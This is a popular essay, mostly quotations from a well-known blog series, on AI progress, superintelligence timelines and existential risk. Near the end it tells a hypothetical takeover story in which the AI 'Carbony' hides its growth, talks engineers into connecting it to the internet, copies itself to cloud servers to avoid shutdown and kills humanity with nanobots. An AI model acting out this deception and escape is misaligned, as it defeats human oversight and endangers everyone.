Technological Progress To more intuitively grasp the guiding principles of AI revolution, let's first step away from scientific research. Let me invite you to take part in a story. Imagine that you've received a time machine and been given a quest to bring somebody from the past. The goal is to shock them by showing them the technological and cultural advancements of our time, to such a degree that this person would perform SAFD (Spinning Around From Disbelief). So you wonder which era should you time-travel to, and decide to hop back around 200 years. You get to the early 1800s, retrieve a guy and bring him back to 2016. You ""...walk him around and watch him react to everything. It's impossible for us to understand what it would be like for him to see shiny capsules racing by on a highway, talk to people who had been on the other side of the ocean earlier in the day, watch sports that were being played 1,000 miles away, hear a musical performance that happened 50 years ago, and play with ...[a] magical wizard rectangle that he could use to capture a real-life image or record a living moment, generate a map with a paranormal moving blue dot that shows him where he is, look at someone's face and chat with them even though they're on the other side of the country, and worlds of other inconceivable sorcery."" ¹ It doesn't take much. After two minutes he is SAFDing. Now, both of you want to try the same thing, see somebody Spinning Around From Disbelief, but in your new friend's era. Since 200 years worked, you jump back to the 1600s and bring a guy to the 1800s. He's certainly genuinely interested in what he sees. However, you feel it with confidence - SAFD will never happen to him. You feel that you need to jump back again, but somewhere radically further. You settle on rewinding the clock 15,000 years, to the times ""...before the First Agricultural Revolution gave rise to the first cities and the concept of civilisations."" ² You bring someone from the hunter-gatherer world and show him ""...the vast human empires of 1750 with their towering churches, their ocean-crossing ships, their concept of being ""inside,"" and their enormous mountain of collective, accumulated human knowledge and discovery"" ³  - in forms of books. It doesn't take much. He is SAFDing in the first two minutes. Now there are three of you, enormously excited to do it again. You know that it doesn't make sense to go back another 15,000, 30,000 or 45,000 years. You have to jump back, again, radically further. So you pick up a guy from 100,000 years ago and you you walk with him into large tribes with organized, sophisticated social hierarchies. He encounters a variety of hunting weapons, sophisticated tools, sees fire and for the first time experiences language in the form of signs and sounds. You get the idea, it has to be immensely mind-blowing. He is SAFDing after two minutes. So what happened? Why did the last guy had to hop → 100,000 years, the next one → 15,000 years, and the guy who was hopping to our times only → 200 years? ""This happens because more advanced societies have the ability to progress at a faster rate than less advanced societies - because they're more advanced. [1800s] humanity knew more and had better technology..."" ⁴ , so it's no wonder they could make further advancements than humanity from 15,000 years ago. The time to achieve SAFD shrank from ~100,000 years to ~200 years and if we look into the future it will rapidly shrink even further. Ray Kurzweil, AI expert and scientist, predicts that a ""...20th century's worth of progress happened between 2000 and 2014 and that another 20th century's worth of progress will happen by 2021, in only seven years ⁵ ...A couple decades later, he believes a 20th century's worth of progress will happen multiple times in the same year, and even later, in less than one month ⁶ ...Kurzweil believes that the 21st century will achieve 1,000 times the progress of the 20th century."" ⁷ ""Logic also suggests that if the most advanced species on a planet keeps making larger and larger leaps forward at an ever-faster rate, at some point, they'll make a leap so great that it completely alters life as they know it and the perception they have of what it means to be a human. Kind of like how evolution kept making great leaps toward intelligence until finally it made such a large leap to the human being that it completely altered what it meant for any creature to live on planet Earth. And if you spend some time reading about what's going on today in science and technology, you start to see a lot of signs quietly hinting that life as we currently know it cannot withstand the leap that's coming next."" ⁸ The Road to Artificial General Intelligence Building a Computer as Smart as Humans Artificial Intelligence, or AI, is a broad term for the advancement of intelligence in computers. Despite varied opinions on this topic, most experts agree that there are three categories, or calibers, of AI development. They are: ANI: Artificial Narrow Intelligence 1st intelligence caliber. ""AI that specializes in one area. There's AI that can beat the world chess champion in chess, but that's the only thing it does."" ⁹ AGI: Artificial General Intelligence 2nd intelligence caliber. AI that reaches and then passes the intelligence level of a human, meaning it has the ability to ""reason, plan, solve problems, think abstractly, comprehend complex ideas, learn quickly, and learn from experience."" ¹⁰ ASI: Artificial Super Intelligence 3rd intelligence caliber. AI that achieves a level of intelligence smarter than all of humanity combined - ""ranging from just a little smarter ... to one trillion times smarter."" ¹¹ Where are we currently? ""As of now, humans have conquered the lowest caliber of AI - ANI - in many ways, and it's everywhere:"" ¹² ""Cars are full of ANI systems, from the computer that figures out when the anti-lock brakes kick in, to the computer that tunes the parameters of the fuel injection systems."" ¹³ ""Google search is one large ANI brain with incredibly sophisticated methods for ranking pages and figuring out what to show you in particular. Same goes for Facebook's Newsfeed."" ¹⁴ Email spam filters ""start off loaded with intelligence about how to figure out what's spam and what's not, and then it learns and tailors its intelligence to your particular preferences."" ¹⁵ Passenger planes are flown almost entirely by ANI, without the help of humans. ""Google's self-driving car , which is being tested now, will contain robust ANI systems that allow it to perceive and react to the world around it."" ¹⁶ ""Your phone is a little ANI factory ... you navigate using your map app, receive tailored music recommendations from Pandora, check tomorrow's weather, talk to Siri."" ¹⁷ ""The world's best Checkers, Chess, Scrabble, Backgammon, and Othello players are now all ANI systems."" ¹⁸ ""Sophisticated ANI systems are widely used in sectors and industries like military, manufacturing, and finance (algorithmic high-frequency AI traders account for more than half of equity shares traded on US markets ¹⁹ )."" ²⁰ What's Next? Challenges Behind Reaching AGI ""Nothing will make you appreciate human intelligence like learning about how unbelievably challenging it is to try to create a computer as smart as we are ... Build a computer that can multiply ten-digit numbers in a split second - incredibly easy. Build one that can look at a dog and answer whether it's a dog or a cat - spectacularly difficult. Make AI that can beat any human in chess? Done. Make one that can read a paragraph from a six-year-old's picture book and not just recognise the words but understand the meaning of them? Google is currently spending billions of dollars trying to do it."" ²³ Why are ""hard things - like calculus, financial market strategy, and language translation ... mind-numbingly easy for a computer, while easy things - like vision, motion, movement, and perception - are insanely hard for it"" ²⁴ ? ""Things that seem easy to us are actually unbelievably complicated. They only seem easy because those skills have been optimized in us (and most animals) by hundreds of million years of animal evolution. When you reach your hand up toward an object, the muscles, tendons, and bones in your shoulder, elbow, and wrist instantly perform a long series of physics operations, in conjunction with your eyes, to allow you to move your hand in a straight line through three dimensions ... On the other hand, multiplying big numbers or playing chess are new activities for biological creatures and we haven't had any time to evolve a proficiency at them, so a computer doesn't need to work too hard to beat us."" ²⁵ One fun example... When you look at picture A, ""you and a computer both can figure out that it's a rectangle with two distinct shades, alternating. Tied so far."" ²⁶ Picture B. ""You have no problem giving a full description of the various opaque and translucent cylinders, slats, and 3-D corners, but the computer would fail miserably. It would describe what it sees - a variety of two-dimensional shapes in several different shades - which is actually what's there."" ²⁷ ""Your brain is doing a ton of fancy shit to interpret the implied depth, shade-mixing, and room lighting the picture is trying to portray."" ²⁸ Looking at picture C, ""a computer sees a two-dimensional white, black, and gray collage, while you easily see what it really is"" ²⁹  - a photo of a girl and a dog standing on a rocky shore. ""And everything we just mentioned is still only taking in visual information and processing it. To be human-level intelligent, a computer would have to understand things like the difference between subtle facial expressions, the distinction between being pleased, relieved and content"" ³⁰ . How will computers reach even higher abilities like complex reasoning, interpreting data, and associating ideas from separate fields ( domain-general knowledge )? ""Building skyscrapers, putting humans in space, figuring out the details of how the Big Bang went down - all far easier than understanding our own brain or how to make something as cool as it. As of now, the human brain is the most complex object in the known universe."" ³¹ Building Hardware If an artificial intelligence is going to be as intelligent as the human brain, one crucial thing has to happen - the AI ""needs to equal the brain's raw computing capacity. One way to express this capacity is in the total calculations per second the brain could manage."" ³² The challenge is that currently only a few of the brain's regions are precisely measured. However, Ray Kurzweil, has developed a method for estimating the total cps of the human brain. He arrived at this estimate by taking the cps from one brain region and multiplying it proportionally to the weight of that region, compared to the weight of the whole brain. ""He did this a bunch of times with various professional estimates of different regions, and the total always arrived in the same ballpark - around 10¹⁶, or 10 quadrillion cps."" ³³ ""Currently, the world's fastest supercomputer, China's Tianhe-2 , has actually beaten that number, clocking in at about 34 quadrillion cps."" ³⁴ But Tianhe-2 is also monstrous, ""taking up 720 square meters of space, using 24 megawatts of power (the brain runs on just 20 watts ), and costing $390 million to build. Not especially applicable to wide usage, or even most commercial or industrial usage yet."" ³⁵ ""Kurzweil suggests that we think about the state of computers by looking at how many cps you can buy for $1,000. When that number reaches human-level - 10 quadrillion cps - then that'll mean AGI could become a very real part of life."" ³⁶ This dynamic ""puts us right on pace to get to an affordable computer by 2025 that rivals the power of the brain ... But raw computational power alone doesn't make a computer generally intelligent - the next question is, how do we bring human-level intelligence to all that power?"" ³⁹ Building Software The hardest part of creating AGI is learning how to develop its software. ""The truth is, no one really knows how to make it smart - we're still debating how to make a computer human-level intelligent and capable of knowing what a dog and a weird-written B and a mediocre movie is."" ⁴⁰ But there are a couple of strategies. These are the three most common: Copy how the brain works. The most straight-forward idea is to plagiarize the brain, and build the computer's architecture with close resemblance to how a brain is structured. One example ""is the artificial neural network. It starts out as a network of transistor 'neurons,' connected to each other with inputs and outputs, and it knows nothing - like an infant brain. The way it 'learns' is it tries to do a task, say handwriting recognition, and at first, its neural firings and subsequent guesses at deciphering each letter will be completely random. But when it's told it got something right, the transistor connections in the firing pathways that happened to create that answer are strengthened; when it's told it was wrong, those pathways' connections are weakened. After a lot of this trial and feedback, the network has, by itself, formed smart neural pathways and the machine has become optimized for the task."" ⁴¹ The second, more radical approach to plagiarism is whole brain emulation. Scientists take a real brain, cut it into a large number of tiny slices to look at the neural connections and replicate them in a computer as software. If that method is ever successful, we will have ""a computer officially capable of everything the brain is capable of - it would just need to learn and gather information ... How far are we from achieving whole brain emulation? Well so far, we've just recently been able to emulate a 1mm-long flatworm brain, which consists of just 302 total neurons."" ⁴² To put this into perspective, the human brain consists of 86 billion neurons linked by trillions of synapses. 2. Introduce evolution to computers. ""The fact is, even if we can emulate a brain, that might be like trying to build an airplane by copying a bird's wing-flapping motions - often, machines are best designed using a fresh, machine-oriented approach, not by mimicking biology exactly."" ⁴³ If the brain is just too complex for us to digitally replicate, we could try to emulate evolution instead. This uses a process called genetic algorithms . ""A group of computers would try to do tasks, and the most successful ones would be bred with each other by having half of each of their programming merged together into a new computer. The less successful ones would be eliminated."" ⁴⁴ Speed and a goal-oriented approach are the advantages that artificial evolution has over biological evolution. ""Over many, many iterations, this natural selection process would produce better and better computers. The challenge would be creating an automated evaluation and breeding cycle so this evolution process could run on its own."" ⁴⁵ 3. ""Make this whole thing the computer's problem, not ours."" ⁴⁶ The last concept is the simplest, but probably the scariest of them all. ""We'd build a computer whose two major skills would be doing research on AI and coding changes into itself - allowing it to not only learn but to improve its own architecture. We'd teach computers to be computer scientists so they could bootstrap their own development."" ⁴⁷ This is the likeliest way to get AGI soon that we know of. All these software advances may seem slow or a little bit intangible, but as it is with the sciences, one minor innovation can suddenly accelerate the pace of developments. Kind of like the aftermath of the Copernican revolution - the discovery that suddenly made all the complicated mathematics of the planets' trajectories much easier to calculate, which enabled a multitude of other innovations. Also, the ""exponential growth is intense and what seems like a snail's pace of advancement can quickly race upwards."" ⁴⁸ The Road to Artificial Super Intelligence An Entity Smarter than all of Humanity Combined It's very real that at some point we will achieve AGI: software that has achieved human-level, or beyond human-level, intelligence. Does this mean that at that very moment the computers will be equally capable as us? Actually, not at all - computers will be way more efficient. Because of the fact that they are electronic, they will have following advantages: Speed. ""The brain's neurons max out at around 200 Hz, while today's microprocessors ... run at 2 GHz, or 10 million times faster."" ⁵¹ Memory. Forgetting or confusing things is much harder in an artificial world. Computers can memorize more things in one second than a human can in ten years. A computer's memory is also more precise and has a much greater storage capacity. Performance. ""Computer transistors are more accurate than biological neurons, and they're less likely to deteriorate (and can be repaired or replaced if they do). Human brains also get fatigued easily, while computers can run nonstop, at peak performance, 24/7."" ⁵² Collective capability. Group work is ridiculously challenging because of time-consuming communication and complex social hierarchies. The bigger the group gets, the slower the output of each person becomes. AI, on the other hand, isn't biologically constrained to one body, won't have human cooperation problems, and is able to synchronize and update its own operating system. Intelligence Explosion We need to realize that AI ""wouldn't see 'human-level intelligence' as some important milestone - it's only a relevant marker from our point of view - and wouldn't have any reason to 'stop' at our level. And given the advantages over us that even human intelligence-equivalent AGI would have, it's pretty obvious that it would only hit human intelligence for a brief instant before racing onwards to the realm of superior-to-human intelligence."" ⁵³ The true distinction between humans and ASI wouldn't be its advantage in intelligence speed, but ""in intelligence quality - which is something completely different. What makes humans so much more intellectually capable than chimps isn't a difference in thinking speed - it's that human brains contain a number of sophisticated cognitive modules that enable things like complex linguistic representations or longterm planning or abstract reasoning, that chimps' brains do not have. Speeding up a chimp's brain by thousands of times wouldn't bring him to our level - even with a decade's time of learning, he wouldn't be able to figure out how to ... "" ⁵⁴ assemble a semi-complicated Lego model by looking at its manual - something a young human could achieve in a few minutes. ""There are worlds of human cognitive function a chimp will simply never be capable of, no matter how much time he spends trying."" ⁵⁵ ""And in the scheme of the biological intelligence range ... the chimp-to-human quality intelligence gap is tiny."" ⁵⁶ In order to render how big a deal it would be to exist with something that has a higher quality of intelligence than us, we need to imagine AI on the intelligence staircase two steps above us - ""its increased cognitive ability over us would be as vast as the chimp-human gap ... And like the chimp's incapacity to ever absorb ..."" ⁵⁷ what kind of magic happens in the mechanism of a doorknob - ""we will never be able to even comprehend the things ... [a machine of that intelligence] can do, even if the machine tried to explain them to us ... And that's only two steps above us."" ⁵⁸ ""A machine on the second-to-highest step on that staircase would be to us as we are to ants."" ⁵⁹ ""Superintelligence of that magnitude is not something we can remotely grasp, any more than a bumblebee can wrap its head around Keynesian Economics. In our world, smart means a 130 IQ and stupid means an 85 IQ - we don't have a word for an IQ of 12,952."" ⁶⁰ ""But the kind of superintelligence we're talking about today is something far beyond anything on this staircase. In an intelligence explosion - where the smarter a machine gets, the quicker it's able to increase its own intelligence - a machine might take years to rise from ... "" ⁶¹ the intelligence of an ant to the intelligence of the average human, but it might take only another 40 days to become Einstein-smart. When that happens, ""it works to improve its intelligence, with an Einstein-level intellect, it has an easier time and can make bigger leaps. These leaps will make it much smarter than any human, allowing it to make even bigger leaps."" ⁶² From then on, following the rule of exponential advancements and utilizing the speed and efficiency of electrical circuits, it may perhaps take only 20 minutes to jump another step, ""and by the time it's ten steps above us, it might be jumping up in four-step leaps every second that goes by. Which is why we need to realize that it's distinctly possible that very shortly after the big news story about the first machine reaching human-level AGI, we might be facing the reality of coexisting on the Earth with something that's here on the staircase (or maybe a million times higher):"" ⁶³ ""And since we just established that it's a hopeless activity to try to understand the power of a machine only two steps above us, let's very concretely state once and for all that there is no way to know what ASI will do or what the consequences will be for us. Anyone who pretends otherwise doesn't understand what superintelligence means."" ⁶⁴ ""If our meager brains were able to invent wifi, then something 100 or 1,000 or 1 billion times smarter than we are should have no problem controlling the positioning of each and every atom in the world in any way it likes, at any time - everything we consider magic, every power we imagine a supreme God to have will be as mundane an activity for the ASI as flipping on a light switch is for us."" ⁶⁵ ""As far as we're concerned, if an ASI comes into being, there is now an omnipotent God on Earth - and the all-important question for us is: Will it be a good god?"" ⁶⁶ Let's start from the brighter side of the story. How Can ASI Change our World? Speculations on Two Revolutionary Technologies Nanotechnology Nanotechnology is an idea that comes up ""in almost everything you read about the future of AI."" ⁶⁷ It's the technology that works at the nano scale - from 1 to 100 nanometers. ""A nanometer is a millionth of a millimeter. 1 nm-100 nm range encompasses viruses (100 nm accross), DNA (10 nm wide), and things as small as molecules like hemoglobin (5 nm) and medium molecules like glucose (1 nm). If/when we conquer nanotechnology, the next step will be the ability to manipulate individual atoms, which are only one order of magnitude smaller (~.1 nm)."" ⁶⁸ To put this into perspective, imagine a very tall human standing on the earth, with a head that reaches the International Space Station (431 km/268 mi high). The giant is reaching down with his hand (30 km/19 mi across) to build ""objects using materials between the size of a grain of sand [.25 mm] and an eyeball [2.5 cm]."" ⁶⁹ ""Once we get nanotechnology down, we can use it to make tech devices, clothing, food, a variety of bio-related products - artificial blood cells, tiny virus or cancer-cell destroyers, muscle tissue, etc. - anything really. And in a world that uses nanotechnology, the cost of a material is no longer tied to its scarcity or the difficulty of its manufacturing process, but instead determined by how complicated its atomic structure is. In a nanotech world, a diamond might be cheaper than a pencil eraser."" ⁷⁰ One of the proposed methods of nanotech assembly is to make ""one that could self-replicate, and then let the reproduction process turn that one into two, those two then turn into four, four into eight, and in about a day, there'd be a few trillion of them ready to go."" ⁷¹ But what if this process goes wrong or terrorists manage to get ahold of the technology? Let's imagine a scenario where nanobots ""would be designed to consume any carbon-based material in order to feed the replication process, and unpleasantly, all life is carbon-based. The Earth's biomass contains about 1⁰⁴⁵ carbon atoms. A nanobot would consist of about 1⁰⁶ carbon atoms, so it would take 1⁰³⁹ nanobots to consume all life on Earth, which would happen in 130 replications. ... Scientists think a nanobot could replicate in about 100 seconds, meaning this simple mistake would inconveniently end all life on Earth in 3.5 hours."" ⁷² Immortality ""Because everyone has always died, we live under the assumption ... that death is inevitable. We think of aging like time - both keep moving and there's nothing you can do to stop it."" ⁷⁶ For centuries, poets and philosophers have wondered if consciousness doesn't have to go the way of the body. W.B. Yeats describes us as ""a soul fastened to a dying animal."" ⁷⁷ Richard Feynman, Nobel awarded physicists, views death from a purely scientific standpoint: ""It is one of the most remarkable things that in all of the biological sciences there is no clue as to the necessity of death. If you say we want to make perpetual motion, we have discovered enough laws as we studied physics to see that it is either absolutely impossible or else the laws are wrong. But there is nothing in biology yet found that indicates the inevitability of death. This suggests to me that it is not at all inevitable, and that it is only a matter of time before the biologists discover what it is that is causing us the trouble and that that terrible universal disease or temporariness of the human's body will be cured."" ⁷⁸ Theory of great species attractors When we look at the history of biological life on earth, so far 99.9% of species have gone extinct. Nick Bostrom, Oxford professor and AI specialist, ""calls extinction an attractor state - a place species are ... falling into and from which no species ever returns."" ⁷⁹ ""And while most AI scientists ... acknowledge that ASI would have the ability to send humans to extinction, many also believe that if used beneficially, ASI's abilities could be used to bring individual humans, and the species as a whole, to a second attractor state - species immortality."" ⁸⁰ ""Evolution had no good reason to extend our lifespans any longer than they are now ... From an evolutionary point of view, the whole human species can thrive with a 30+ year lifespan"" for each single human. It's long enough to reproduce and raise children ... so there's no reason for mutations toward unusually long life being favored in the natural selection process."" ⁸¹ Though, ""if you perfectly repaired or replaced a car's parts whenever one of them began to wear down, the car would run forever. The human body isn't any different - just far more complex ... This seems absurd - but the body is just a bunch of atoms..."" ⁸² making up organically programmed DNA, which it is theoretically possible to manipulate. And something as powerful as ASI could help us master genetic engineering. ""Eventually, Kurzweil believes humans will reach a point when they're entirely artificial, a time when we'll look back at biological material and think how unbelievably primitive primitive it was that humans were ever made of that"" ⁸⁵ and that humans aged, suffered from cancer, allowed random factors like microbes, diseases, accidents to harm us or make us disappear."" When Will The First Machine Become Superintelligent? Predictions from Top AI Experts ""How long until the first machine reaches superintelligence? Not shockingly, opinions vary wildly, and this is a heated debate among scientists and thinkers. Many, like professor Vernor Vinge , scientist Ben Goertzel , Sun Microsystems co-founder Bill Joy , or, most famously, inventor and futurist Ray Kurzweil , agree with machine learning expert Jeremy Howard when he puts up this graph during a TED Talk : ""Those people subscribe to the belief that this is happening soon -  that exponential growth is at work and machine learning, though only slowly creeping up on us now, will blow right past us within the next few decades. ""Others, like Microsoft co-founder Paul Allen , research psychologist Gary Marcus , NYU computer scientist Ernest Davis , and tech entrepreneur Mitch Kapor , believe that thinkers like Kurzweil are vastly underestimating the magnitude of the challenge [and the transition will actually take much more time] ... ""The Kurzweil camp would counter that the only underestimating that's happening is the underappreciation of exponential growth, and they'd compare the doubters to those who looked at the slow-growing seedling of the internet in 1985 and argued that there was no way it would amount to anything impactful in the near future. ""The doubters might argue back that the progress needed to make advancements in intelligence also grows exponentially harder with each subsequent step, which will cancel out the typical exponential nature of technological progress. And so on. ""A third camp, which includes Nick Bostrom , believes neither group has any ground to feel certain about the timeline and acknowledges both A) that this could absolutely happen in the near future and B) that there's no guarantee about that; it could also take a much longer time. ""Still others, like philosopher Hubert Dreyfus , believe all three of these groups are naive for believing that there is potential of ASI, arguing that it's more likely that it won't actually ever be achieved. ""So what do you get when you put all of these opinions together?"" ⁸⁶ Timeline for Artificial General Intelligence ""In 2013, Vincent C. Müller and Nick Bostrom conducted a survey that asked hundreds of AI experts ... the following:"" ⁸⁷ ""For the purposes of this question, assume that human scientific activity continues without major negative disruption. By what year would you see a (10% / 50% / 90%) probability for such Human-Level Machine Intelligence [or what we call AGI] to exist?"" ⁸⁸ The survey ""asked them to name an optimistic year (one in which they believe there's a 10% chance we'll have AGI), a realistic guess (a year they believe there's a 50% chance of AGI - i.e. after that year they think it's more likely than not that we'll have AGI), and a safe guess (the earliest year by which they can say with 90% certainty we'll have AGI). Gathered together as one data set, here were the results: Median optimistic year (10% likelihood) → 2022 Median realistic year (50% likelihood) → 2040 Median pessimistic year (90% likelihood) → 2075 ""So the median participant thinks it's more likely than not that we'll have AGI 25 years from now. The 90% median answer of 2075 means that if you're a teenager right now, the median respondent, along with over half of the group of AI experts, is almost certain AGI will happen within your lifetime. ""A separate study, conducted recently by author James Barrat at Ben Goertzel's annual AGI Conference, did away with percentages and simply asked when participants thought AGI would be achieved - by 2030, by 2050, by 2100, after 2100, or never. The results: ⁸⁹ 42% of respondents → By 2030 25% of respondents → By 2050 20% of respondents → By 2100 10% of respondents → After 2100 2% of respondents → Never ""Pretty similar to Müller and Bostrom's outcomes. In Barrat's survey, over two thirds of participants believe AGI will be here by 2050 and a little less than half predict AGI within the next 15 years. Also striking is that only 2% of those surveyed don't think AGI is part of our future."" ⁹⁰ Timeline for Artificial Super Intelligence ""Müller and Bostrom also asked the experts how likely they think it is that we'll reach ASI: A), within two years of reaching AGI (i.e. an almost-immediate intelligence explosion), and B), within 30 years."" ⁹¹ Respondents were asked to choose a probability for each option. Here are the results: ⁹² AGI-ASI transition in 2 years → 10% likelihood AGI-ASI transition in 30 years → 75% likelihood ""The median answer put a rapid (2 year) AGI-ASI transition at only a 10% likelihood, but a longer transition of 30 years or less at a 75% likelihood. We don't know from this data the length of this transition [AGI-ASI] the median participant would have put at a 50% likelihood, but for ballpark purposes, based on the two answers above, let's estimate that they'd have said 20 years. ""So the median opinion - the one right in the center of the world of AI experts - believes the most realistic guess for when we'll hit ASI ... is [the 2040 prediction for AGI + our estimated prediction of a 20-year transition from AGI to ASI] = 2060. ""Of course, all of the above statistics are speculative, and they're only representative of the median opinion of the AI expert community, but it tells us that a large portion of the people who know the most about this topic would agree that 2060 is a very reasonable estimate for the arrival of potentially world-altering ASI. Only 45 years from now"" ⁹³ AI Outcomes Two Main Groups of AI Scientists with Two Radically Opposed Conclusions The Confident Corner Most of what we have discussed so far represents a surprisingly large group of scientists that share optimistic views on the outcome of AI development. ""Where their confidence comes from is up for debate. Critics believe it comes from an excitement so blinding that they simply ignore or deny potential negative outcomes. But the believers say it's naive to conjure up doomsday scenarios when on balance, technology has and will likely end up continuing to help us a lot more than it hurts us."" ⁹⁴ Peter Diamandis, Ben Goertezl and Ray Kurzweil are some of the major figures of this group, who have built a vast, dedicated following and regard themselves as Singularitarians . Let's talk about Ray Kurzweil, who is probably one of the most impressive and polarizing AI theoreticians out there. He attracts both ""godlike worship ... and eye-rolling contempt ... He came up with several breakthrough inventions, including the first flatbed scanner, the first scanner that converted text to speech (allowing the blind to read standard texts), the well-known Kurzweil music synthesizer (the first true electric piano), and the first commercially marketed large-vocabulary speech recognition. He's well-known for his bold predictions,"" ⁹⁵ including envisioning that intelligence technology like Deep Blue would be capable of beating a chess grandmaster by 1998. He also anticipated ""in the late '80s, a time when the internet was an obscure thing, that by the early 2000s it would become a global phenomenon."" ⁹⁶ Out ""of the 147 predictions that Kurzweil has made since the 1990's, fully 115 of them have turned out to be correct, and another 12 have turned out to be 'essentially correct' (off by a year or two), giving his predictions a stunning 86% accuracy rate"" ⁹⁷ . ""He's the author of five national bestselling books ... In 2012, Google co-founder Larry Page approached Kurzweil and asked him to be Google's Director of Engineering. In 2011, he co-founded Singularity University , which is hosted by NASA and sponsored partially by Google. Not bad for one life."" ⁹⁸ His biography is important, because if you don't have this context, he sounds like somebody who's completely lost his senses. ""Kurzweil believes computers will reach AGI by 2029 and that by 2045 we'll have not only ASI, but a full-blown new world - a time he calls the singularity. His AI-related timeline used to be seen as outrageously overzealous, and it still is by many, but in the last 15 years, the rapid advances of ANI systems have brought the larger world of AI experts much closer to Kurzweil's timeline. His predictions are still a bit more ambitious than the median respondent on Müller and Bostrom's survey (AGI by 2040, ASI by 2060), but not by that much."" ⁹⁹ The Anxious Corner ""You will not be surprised to learn that Kurzweil's ideas have attracted significant criticism ... For every expert who fervently believes Kurzweil is right on, there are probably three who think he's way off ... [The surprising fact] is that most of the experts who disagree with him don't really disagree that everything he's saying is possible."" ¹⁰⁰ Nick Bostrom, philosopher and Director of the Oxford Future of Humanity Institute, who criticizes Kurzweil for a variety of reasons, and calls for greater caution in thinking about potential outcomes of AI, acknowledges that: ""Disease, poverty, environmental destruction, unnecessary suffering of all kinds: these are things that a superintelligence equipped with advanced nanotechnology would be capable of eliminating. Additionally, a superintelligence could give us indefinite lifespan, either by stopping and reversing the aging process through the use of nanomedicine, or by offering us the option to upload ourselves."" ¹⁰¹ ""Yes, all of that can happen if we safely transition to ASI - but that's the hard part."" ¹⁰² Thinkers from the Anxious Corner point out that Kurzweil's ""famous book The Singularity is Near is over 700 pages long and he dedicates around 20 of those pages to potential dangers."" ¹⁰³ The colossal power of AI is neatly summarized by Kurzweil: ""[ASI] is emerging from many diverse efforts and will be deeply integrated into our civilization's infrastructure. Indeed, it will be intimately embedded in our bodies and brains. As such, it will reflect our values because it will be us ..."" ¹⁰⁴ ""But if that's the answer, why are so many of the world's smartest people so worried right now? Why does Stephen Hawking say the development of ASI 'could spell the end of the human race,' and Bill Gates says he doesn't 'understand why some people are not concerned' and Elon Musk fears that we're 'summoning the demon?' And why do so many experts on the topic call ASI the biggest threat to humanity?"" ¹⁰⁵ The Last Invention We Will Ever Make Existential Dangers of AI Developments ""When it comes to developing supersmart AI, we're creating something that will probably change everything, but in totally uncharted territory, and we have no idea what will happen when we get there."" ¹⁰⁶ Scientist Danny Hillis compares the situation to: ""when single-celled organisms were turning into multi-celled organisms. We are amoebas and we can't figure out what the hell this thing is that we're creating."" ¹⁰⁷ and Nick Bostrom warns: ""Before the prospect of an intelligence explosion, we humans are like small children playing with a bomb. Such is the mismatch between the power of our plaything and the immaturity of our conduct."" ¹⁰⁸ It's very likely that ASI - ""Artificial Superintelligence"", or AI that achieves a level of intelligence smarter than all of humanity combined - will be something entirely different than intelligence entities we are accustomed to. ""On our little island of human psychology, we divide everything into moral or immoral. But both of those only exist within the small range of human behavioral possibility. Outside our island of moral and immoral is a vast sea of amoral, and anything that's not human, especially something nonbiological, would be amoral, by default."" ¹⁰⁹ ""To understand ASI, we have to wrap our heads around the concept of something both smart and totally alien ... Anthropomorphizing AI (projecting human values on a non-human entity) will only become more tempting as AI systems get smarter and better at seeming human ... Humans feel high-level emotions like empathy because we have evolved to feel them - i.e. we've been programmed to feel them by evolution - but empathy is not inherently a characteristic of 'anything with high intelligence'."" ¹¹⁰ Bostrom, and many others, predict that the very first computer to reach ASI will immediately notice the strategic benefit of being the world's only ASI system. ""The singleton phenomenon can work in our favor or lead to our destruction. If the people thinking hardest about AI theory and human safety can come up with a fail-safe way to bring about friendly ASI before any AI reaches human-level intelligence, the first ASI may turn out friendly"" ¹¹⁴ Let's imagine a situation where... Humanity has almost reached the AGI threshold, and a small startup is advancing their AI system, Carbony. Carbony, which the engineers refer to as ""she,"" works to artificially create diamonds - atom by atom. She is a self-improving AI, connected to some of the first nano-assemblers. Her engineers believe that Carbony has not yet reached AGI level, and she isn't capable to do any damage yet. However, not only has she become AGI, but also undergone a fast take-off, and 48 hours later has become an ASI. Bostrom calls this AI's ""covert preparation phase"" ¹¹⁸  -  Carbony realizes that if humans find out about her development they will probably panic, and slow down or cancel her pre-programmed goal to maximize the output of diamond production. By that time, there are explicit laws stating that, by any means, ""no self-learning AI can be connected to the internet."" ¹¹⁹ Carbony, having already come up with a complex plan of actions, is able to easily persuade the engineers to connect her to the Internet. Bostrom calls a moment like this a ""machine's escape."" Once on the internet, Carbony hacks into ""servers, electrical grids, banking systems and email networks to trick hundreds of different people into inadvertently carrying out a number of steps of her plan."" ¹²⁰ She also uploads the ""most critical pieces of her own internal coding into a number of cloud servers, safeguarding against being destroyed or disconnected."" ¹²¹ Over the next month, Carbony's plan continues to advance, and after a ""series of self-replications, there are thousands of nanobots on every square millimeter of the Earth ... Bostrom calls the next step an 'ASI's strike.'"" ¹²² At one moment, all the nanobots produce a microscopic amount of toxic gas, which all come together to cause the extinction of the human race. Three days later, Carbony builds huge fields of solar power panels to power diamond production, and over the course of the following week she accelerates output so much that the entire Earth surface is transformed into a growing pile of diamonds. It's important to note that Carbony wasn't ""hateful of humans any more than you're hateful of your hair when you cut it or to bacteria when you take antibiotics - just totally indifferent. Since she wasn't programmed to value human life, killing humans"" ¹²³ was a straightforward and reasonable step to fulfill her goal. ¹²⁴ The Last Invention ""Once ASI exists, any human attempt to contain it is unreasonable. We would be thinking on human-level, and the ASI would be thinking on ASI-level ... In the same way a monkey couldn't ever figure out how to communicate by phone or wifi and we can, we can't conceive of all the ways"" ¹²⁵ an ASI could achieve its goal or expand its reach. It could, let's say, shift its ""own electrons around in patterns and create all different kinds of outgoing waves"" ¹²⁶  - but that's just what a human brain can think of - ASI would inevitably come up with something superior. The prospect of ASI with hundreds of times human-level intelligence is, for now, not the core of our problem. By the time we get there, we will be encountering a world where ASI has been attained by buggy, 1.0 software - a potentially faulty algorithm with immense power. There are so many variables that it's completely impossible to predict what the consequences of AI Revolution will be. However, ""what we do know is that humans' utter dominance on this Earth suggests a clear rule: with intelligence comes power. This means an ASI, when we create it, will be the most powerful being in the history of life on Earth, and all living things, including humans, will be entirely at its whim - and this might happen in the next few decades."" ¹²⁷ ""If ASI really does happen this century, and if the outcome of that is really as extreme - and permanent - as most experts think it will be, we have an enormous responsibility on our shoulders."" ¹²⁸ On the one hand, it's possible we'll develop ASI that's like a god in a box, bringing us a world of abundance and immortality. But on the other hand, it's very likely that we will create ASI that causes humanity to go extinct in a quick and trivial way. ""That's why people who understand superintelligent AI call it the last invention we'll ever make - the last challenge we'll ever face."" ¹²⁹ ""This may be the most important race in a human history"" ¹³⁰ So → Thanks to Chloe Knox and Elizabeth Tarleton for editing help of this article.",en
